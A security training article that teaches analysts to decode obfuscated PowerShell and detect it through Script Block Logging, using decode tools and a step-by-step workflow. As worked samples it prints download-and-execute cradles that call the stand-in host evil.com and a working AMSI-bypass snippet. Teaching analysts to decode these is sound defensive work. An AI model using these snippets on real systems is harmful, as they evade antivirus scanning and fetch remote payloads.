Base64 encoded commands, string concatenation, compression streams, AMSI bypass techniques, Script Block Logging, and de-obfuscation tools — how to recover the cleartext payload from any PowerShell obfuscation layer.
Sign in to mark this article as read and track your progress.
PowerShell is the most abused LOLBin in modern intrusions for three reasons:
Attackers encode commands to evade command-line based detection. The analyst must de-layer these transformations to recover the cleartext payload.
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden
-EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQA...
PowerShell''s -EncodedCommand accepts UTF-16LE Base64 encoded input — not standard UTF-8 Base64.
Decode on Linux:
echo "SQBFAFgA..." | base64 -d | iconv -f UTF-16LE -t UTF-8
Decode in PowerShell:
[System.Text.Encoding]::Unicode.GetString(
[Convert]::FromBase64String("SQBFAFgA..."))
$cmd = "Inv" + "oke" + "-Web" + "Reques" + "t"
& $cmd "http://evil.com/stager.ps1"
Splits known detection keywords across string fragments. Bypass: concatenate all fragments manually or run through PSDecode.
$u = ("hXXps://evil.com/pay" -replace "XX","tt") -replace "pay","load.ps1"
IEX (New-Object Net.WebClient).DownloadString($u)
Uses -replace operator to assemble URLs. Trace each replacement to reconstruct the final string.
$data = [Convert]::FromBase64String("H4sIAAAAAAAA...")
$ms = New-Object IO.MemoryStream(,$data)
$gz = New-Object IO.Compression.GZipStream($ms, [IO.Compression.CompressionMode]::Decompress)
$sr = New-Object IO.StreamReader($gz)
IEX $sr.ReadToEnd()
The payload is Gzip compressed then Base64 encoded. CyberChef recipe: From Base64 → Gunzip → output is the script.
$cmd = [char]73 + [char]69 + [char]88 # "IEX"
$cmd ([char]78 + [char]101 + ...) # builds full payload character by character
Decode by evaluating each [char] expression. Python one-liner:
print(''.join([chr(n) for n in [73,69,88,40,...]]))
IEX(IEX(IEX([Convert]::FromBase64String("..."))))
Each IEX layer decodes and executes the next. Apply decode operations one at a time from the innermost outward.
AMSI intercepts PowerShell script execution at runtime, scanning the decoded script content before it is executed by the interpreter. This means even obfuscated scripts are scanned after decoding.
Obfuscated script → PowerShell decodes → AMSI scans cleartext → executes if clean
Malware bypasses AMSI by patching the AMSI DLL in memory:
# Common AMSI bypass (simplified — do not execute outside lab)
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)
This sets an internal flag causing AMSI to report all subsequent scans as clean.
Detection: Windows Event Log — Event ID 4104 (Script Block Logging) records decoded script content even when AMSI is bypassed, because logging occurs at a different hook point.
Script Block Logging records the fully decoded PowerShell content to the Windows Event Log before execution.
Event Log location:
Applications and Services Logs →
Microsoft-Windows-PowerShell/Operational →
Event ID 4104
Enable via Group Policy:
Computer Configuration → Administrative Templates →
Windows Components → Windows PowerShell →
Turn on PowerShell Script Block Logging → Enabled
Even when -EncodedCommand is used, Event ID 4104 contains the decoded cleartext — the analyst can read exactly what the script does without de-obfuscating manually.
| Tool | Type | Capability |
|---|---|---|
| PSDecode | Python | Iterative decode — handles Base64, compression, concatenation |
| PowerDecode | PowerShell | Emulates script execution; captures decoded layers |
| Revoke-Obfuscation | PowerShell | Detects obfuscation technique and scoring |
| CyberChef | Browser | Manual decode chains for Base64, Gzip, hex, char codes |
| Script Block Logging | Windows | Event ID 4104 — automatic cleartext capture during execution |
1. Identify the outermost encoding:
-enc flag → UTF-16LE Base64
IEX(atob(...)) → standard Base64
[char] arrays → character code substitution
GZipStream → Base64 + compression
2. Decode the outermost layer
3. Check if output is still obfuscated:
YES → repeat from step 1 on the decoded output
NO → extract IOCs from cleartext
4. IOCs to extract:
- Download URLs (C2 endpoints)
- Shellcode or assembly bytes
- File drop paths
- Additional encoded stages
Windows Defender Application Control (WDAC) or AppLocker can enforce PowerShell Constrained Language Mode, which restricts:
.NET type accessAdd-Type (prevents loading custom assemblies)Malware attempting to bypass CLM uses PSBypassCLM tools or drops a full PowerShell binary. Detection: PowerShell operational log Event ID 4103 records language mode transitions.